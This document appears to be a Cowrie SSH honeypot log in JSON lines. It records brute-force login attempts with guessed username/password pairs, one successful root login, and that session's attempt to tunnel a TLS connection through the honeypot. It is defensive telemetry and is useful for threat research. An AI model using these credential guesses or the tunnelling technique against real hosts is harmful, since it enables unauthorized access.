{"eventid":"cowrie.login.failed","username":"nutanix","password":"Nutanix123!","message":"login attempt [nutanix/Nutanix123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:07.747947Z","src_ip":"103.218.242.31","session":"ef2e1c88b876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:08.968067Z","src_ip":"103.218.242.31","session":"ef2e1c88b876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":49800,"dst_ip":"10.17.0.5","dst_port":22,"session":"b294daf19e52","protocol":"ssh","message":"New connection: 35.240.75.51:49800 (10.17.0.5:22) [session: b294daf19e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:12.903060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:12.907158Z","src_ip":"35.240.75.51","session":"b294daf19e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":48155,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d335b93b2af","protocol":"ssh","message":"New connection: 154.125.147.88:48155 (10.17.0.5:22) [session: 5d335b93b2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:12.979801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:12.983890Z","src_ip":"154.125.147.88","session":"5d335b93b2af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:13.067415Z","src_ip":"35.240.75.51","session":"b294daf19e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:13.195195Z","src_ip":"154.125.147.88","session":"5d335b93b2af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc123!","message":"login attempt [abc/abc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:13.628535Z","src_ip":"35.240.75.51","session":"b294daf19e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"12345678","message":"login attempt [username/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:14.215639Z","src_ip":"154.125.147.88","session":"5d335b93b2af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:14.803972Z","src_ip":"35.240.75.51","session":"b294daf19e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:15.440504Z","src_ip":"154.125.147.88","session":"5d335b93b2af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":38958,"dst_ip":"10.17.0.5","dst_port":22,"session":"733cf59b0f5a","protocol":"ssh","message":"New connection: 172.210.249.152:38958 (10.17.0.5:22) [session: 733cf59b0f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:18.939068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:18.943805Z","src_ip":"172.210.249.152","session":"733cf59b0f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:18.958393Z","src_ip":"172.210.249.152","session":"733cf59b0f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linode","password":"linode1234","message":"login attempt [linode/linode1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:19.048335Z","src_ip":"172.210.249.152","session":"733cf59b0f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.24","src_port":55382,"dst_ip":"159.203.135.109","dst_port":22,"session":"95b9cac4d4e7","protocol":"ssh","message":"New connection: 64.62.156.24:55382 (159.203.135.109:22) [session: 95b9cac4d4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:19.471823Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:19.486003Z","src_ip":"64.62.156.24","session":"95b9cac4d4e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:19.492423Z","src_ip":"64.62.156.24","session":"95b9cac4d4e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:20.065138Z","src_ip":"172.210.249.152","session":"733cf59b0f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":43172,"dst_ip":"10.17.0.5","dst_port":22,"session":"c431103077b4","protocol":"ssh","message":"New connection: 103.78.2.212:43172 (10.17.0.5:22) [session: c431103077b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:25.032754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:25.037761Z","src_ip":"103.78.2.212","session":"c431103077b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:25.291596Z","src_ip":"103.78.2.212","session":"c431103077b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"site","password":"sitepass","message":"login attempt [site/sitepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:26.337673Z","src_ip":"103.78.2.212","session":"c431103077b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:27.610401Z","src_ip":"103.78.2.212","session":"c431103077b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":50166,"dst_ip":"10.17.0.5","dst_port":22,"session":"255dd2485580","protocol":"ssh","message":"New connection: 80.94.95.118:50166 (10.17.0.5:22) [session: 255dd2485580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:28.706411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:28.710658Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:28.815593Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:29.331438Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"80.94.95.118","src_port":53418,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:53418","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:41.989379Z","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:43.284397Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9d\\xb0\\x0f\\xa08\\x1bz\\x8d\\xa4\\xbap\\x02:zb\\x05m\\xab:\\x97T\\x1f\\xcb\\xe6\\x17\\x07\\xbc#}\\x98^V w@x\\rs\\xaa]2\\x8a\\xda?Sn\\xfd\\xdbn\\xfew\\x85\\x94s\\xd6e\\xdc6P\\x1c\\n\\x11\\xd5\\xf7\\xc2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd6c\\xe8\\x93N\\xac\\xa0g\\x91\\x06</\\xd38\\x85\\xbe\\xc9\\x15\\xfb]Y\\xe7\\xdf`\\x82\\xb4t2\\n\\xf5\\xa3\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9d\\xb0\\x0f\\xa08\\x1bz\\x8d\\xa4\\xbap\\x02:zb\\x05m\\xab:\\x97T\\x1f\\xcb\\xe6\\x17\\x07\\xbc#}\\x98^V w@x\\rs\\xaa]2\\x8a\\xda?Sn\\xfd\\xdbn\\xfew\\x85\\x94s\\xd6e\\xdc6P\\x1c\\n\\x11\\xd5\\xf7\\xc2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd6c\\xe8\\x93N\\xac\\xa0g\\x91\\x06</\\xd38\\x85\\xbe\\xc9\\x15\\xfb]Y\\xe7\\xdf`\\x82\\xb4t2\\n\\xf5\\xa3\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:43.288212Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":51670,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbfb0d295173","protocol":"ssh","message":"New connection: 103.82.92.202:51670 (10.17.0.5:22) [session: cbfb0d295173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:47.264385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:47.269555Z","src_ip":"103.82.92.202","session":"cbfb0d295173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 